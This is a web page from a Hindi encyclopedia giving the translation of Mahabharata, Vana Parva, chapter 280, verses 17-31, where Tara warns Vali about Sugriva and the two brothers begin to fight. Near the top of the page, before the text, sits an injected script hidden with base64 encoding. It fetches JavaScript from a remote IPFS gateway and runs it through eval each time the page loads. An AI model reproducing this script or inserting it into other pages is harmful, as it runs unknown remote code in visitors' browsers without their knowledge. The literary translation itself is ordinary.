महाभारत वन पर्व अध्याय 280 श्लोक 17-31

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अशीत्यधिकद्वशततम (280) अध्‍याय: वन पर्व (रामोख्यान पर्व )

महाभारत: वन पर्व: अशीत्यधिकद्वशततम अध्यायः श्लोक 17-31 का हिन्दी अनुवाद

‘नाथ ! आज सुग्रीव जिस प्रकार गर्जना कर रहा है, उससे मालूम होता है, इस समय उसका बल बढ़ा हुआ है। मेरी समझ में उसे कोई बलवान् सहायक मिल गया है, तभी वह यहाँ तक आ सका। अतः आप घर से न निकलें’। तब सुवर्धमाल से विभूषित तारापति वानरराज बाली, जो बरतचीत करने में कुशल था, अपनी चन्द्रमुखी पत्नी से इस प्रकार बोला- ‘प्रिये ! तुम समस्त प्राणियों की बोली समझती हो, साथ ही बुद्धिमती भी हो। अतः सोचो तो सही, यह मेरा नाममात्र का भाई किसका सहारा लेकर यहाँ आया है ?। तारा अपनी अंगकान्ति से चन्द्रमा की ज्योत्सना के समान उद्दीप्त हो रही थी। उस विदुषि ने दो घड़ी तक विचार करके अपने पति से कहा- ‘कपीश्वर ! मैं सब बातें बताती हूँ, सुनिये। ‘दशरथनन्दन श्रीराम महान् शक्तिशाली वीर हैं। उनकी पत्नी का किसी ने अपहरण कर लिया है। उसकी खोज के लिये उन्होंने सुग्रीव से मित्रता की है और दोनों ने एक दूसरे के शत्रु को शत्रु तथा मित्र को मित्र मान लिया है। श्रीरामचन्द्रजी बड़े धनुर्धर हैं। उनके भाई महाबाहु सुमित्रानन्दन लक्ष्मणजी भी किसी से परास्त होने वाले नहीं हैं। उनकी बुद्धि बड़ी प्रखर है। वे श्रीराम प्रत्येक कार्यकी सिद्धि के लिये उनके साथ रहते हैं। ‘इनके सिवा, मैन्द, द्विविध, वायुपुत्र हनुमान तथा ऋक्षराज जाम्बवन्त- ये सुग्रीव के चार मन्त्री हैं। ये सब-के-सब महामनसवी, बुद्धिमान और महाबली हैं। श्रीरामचन्द्रजी के बल-पराक्रम का सहारा मिल जाने से वे लोग आपको मार डालने में समर्थ हैं’। यद्यपि तारा ने बाली के हित की बात कही थी, तो भी वानरराज बाली ने उसके कथन पर आक्षेपउ किया और ईष्र्यावशउसके मन में यह शंका हो गयी कि तारा मन-ही-मन सुग्रीव को चाहती है। तारा को कठोर बातें सुनाकर बाली किष्किन्धा की गुफा के द्वार से बाहर निकला और माल्यवान् पर्वत के निकट खड़े हुए सुग्रीव से इस प्रकार बोला- ‘अरे ! तू तो पहले अनेक बार युद्ध में मेरे द्वारा परास्त हो चुका है और जीवन का अधिक लोभ होने के कारण जान बचाता फिरा है। मैंने भी अपना भाई समझकर तुझे जीवित छोड़ दिया है। फिर आज तुझे मरने के लिये इतनी उतावली क्यों हो रही है ?’। बाली के ऐसा कहने पर शत्रुहन्ता सुग्रीव श्रीरामचन्द्रजी को परिस्थिति का ज्ञान कराते हुए से अपने उस भाई से अवसर के अनुरूप युक्तियुक्त वचन बोले- राजन् ! तुमने मेरा राज्य हर लिया है, मेरी स्त्री को भी अपने अधिकार में कर लिया है, ऐसी दशा में मुझमें जीवित रहने की शक्ति ही कहाँ है ? यही सोचकर मरने के लिये चला आया हूँ। आप मेरे आगमन का यही उद्देश्य समझ लें’। इस प्रकार बहुत सी बातें करके बाली और सुग्रीव दोनों एक दूसरे से गुँथ गये। उस युद्ध में साखु और ताड़ के वृक्ष तथा पत्थर की चट्टानें - ये ही उनके अस्त्र-शस्त्र थे। दोनों दोनों पर प्रहार करते, दोनों जमीन पर गिर जाते फिर दोनों ही उछल-कूदकर विचित्र ढंग से पैंतरे बदलते तथा मुक्कों और घूसों से एक दूसरे को मारते थे।



« पीछे आगे »

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।